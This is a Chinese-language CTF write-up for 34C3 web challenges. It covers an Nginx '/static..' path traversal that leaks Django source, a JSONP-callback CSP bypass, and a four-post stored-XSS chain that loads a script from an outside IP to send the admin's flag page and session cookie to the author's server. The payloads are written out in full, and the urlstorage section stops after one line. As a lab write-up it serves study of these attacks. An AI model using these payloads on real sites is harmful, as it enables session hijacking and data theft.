34C3 CTF web writeup
发表于 2017 年 12 月 30 日
superblog
目标站有注册、登录、创建 post、联系管理员功能,结合 CSP 头可以推测应该是一道 XSS 题。通过 404 页面可以知道目标站用的是 Django,并且没有关闭 DEBUG 模式。
判断目标站点是否为 Django 开发,可以参考 @phith0n 师傅的这篇文章。文中的“CSRF Token 名称确认”方法对这题也适用。
在返回头中看到了 Nginx,回想起 Pwnhub 第二期的 Web 题考察的一个知识点就是 Nginx 在为 Django 做反向代理时,静态文件目录配置错误导致源码泄露。访问 /static..
会 301 重定向到 /static../
,漏洞确实存在,那我们就能拿到源码了。
阅读源码可以知道 flag1 通过 GET /flag1
获得,flag2 需要向 /flag_api
POST /flag2
中的验证码才能得到。要获得这两个 flag 都要先满足 req.user.username == 'admin' and req.META.get('REMOTE_ADDR') == '127.0.0.1'
这两个条件。其中第二个条件可以忽略,因为对于 Nginx 反向代理的 Django 来说,它拿到的 REMOTE_ADDR 始终是 Nginx 的 IP,在这题中也就是 127.0.0.1。这一点可以通过让 DEBUG 模式下的 Django 抛出异常来验证:
views.py 中的 feed 视图没有做异常处理,不传或者随便传个 type 就可以让 Django 抛出异常。DEBUG 模式下异常页面输出的信息可以说比 phpinfo() 还要详细。
def feed(req):
posts = get_user_posts(req.user)
posts_json = json.dumps([
dict(author=p.author.username, title=p.title, content=p.content)
for p in posts])
type_ = req.GET.get('type')
if type_ == 'json':
...
resp = ....
elif type_ == 'jsonp':
...
resp = ....
return resp
现在要解决的是 req.user.username == 'admin'
。虽然我们能拿到包含 SECRET_KEY 的 settings.py ,但是目标并没有用基于 Cookie 的 Session,所以我们没法伪造 Session,这时候应该就要用 XSS了。
在 templates/blog/post.html
中可以看到 post.content | safe
,这个 safe 过滤器的作用是将字符串标记为不需要 HTML 转义,所以 post 的内容处可以插入任意 HTML 代码。
settings.py 中可以看到目标的 CSP 头是通过 middleware 加的:
script-src 'self'
限制得有点厉害,但 /feed?type=jsonp
的 cb 参数可以插入自己的代码:
callback = req.GET.get('cb')
bad = r'''[\]\\()\s"'\-*/%<>~|&^!?:;=*%0-9[]+'''
if not callback.strip() or re.search(bad, callback):
raise PermissionDenied
resp = HttpResponse('%s(%s)' % (callback, posts_json))
正则黑名单不让用括号()
和等号=
,没法给 location.href
赋值来跳转传出数据,但可以用反引号`
执行函数,所以我们可以在 post 的内容处插入这样的 script 标签来 有限制地执行 js 代码:
<script src="/feed?type=jsonp&cb=alert`a`,console.log"></script>
前面提到 CSP 头是通过 Django 的 middleware 加的,而 /static/
目录是由 Nginx 负责的,所以它没有 CSP 头,下面贴出解题方法:
倒序发布以下四个 post,然后将 post0 提交给管理员
post0: 管理员访问的是 http://localhost:1342/post/<post.id>
,1342 是 gunicorn 起的,而 Nginx 在 80 端口,利用 Cookie 与端口无关的特点,跳转到 localhost:80 的 post1,后面才能访问到没有 CSP 头的 /static/
。
标题:post0
内容:
<a id="aa" href="http://localhost/post/post1的ID"></a>
<script src="/feed?type=jsonp&cb=document.getElementById`aa`.click``,console.log"></script>
post1: 在新窗口中打开 post2,自身跳转到 /flag
标题:post1
内容:
<a id="aa" href="post2的ID" target="_blank"></a>
<a id="bb" href="/flag1"></a>
<script src="/feed?type=jsonp&cb=document.getElementById`aa`.click``,document.getElementById`bb`.click``,console.log"></script>
post2: 在新窗口中打开 post3,自身跳转到没有 CSP 头的 /static/
标题:post2
内容:
<a id="aa" href="post3的ID" target="_blank"></a>
<a id="bb" href="/static/"></a>
<script src="/feed?type=jsonp&cb=document.getElementById`aa`.click``,document.getElementById`bb`.click``,console.log"></script>
post3: 将 post3 的标题写到 opener 的 document 里
标题:<script src="http://54.223.161.61/01.js"></script>
内容:<script src="/feed?type=jsonp&cb=opener.document.write`${document.body.firstElementChild.nextElementSibling.firstElementChild.firstElementChild.nextElementSibling.nextElementSibling.firstElementChild.innerText}`,console.log"></script>
post3 的标题被写入到没有 CSP 头的 /static/
页面上,加载了外部 js。此时 /static/
页面的 opener 是原本为 post1 的 /flag
,读取 opener.window.document.body.innerHTML
发送到自己服务器上就可以了。
也可以去读 /feed
页面上的 Cookie,拿到 admin 的 sessionid,一石二鸟。
urlstorage
看了眼 /static../views.py
,直接 /static../templates/flag.html
: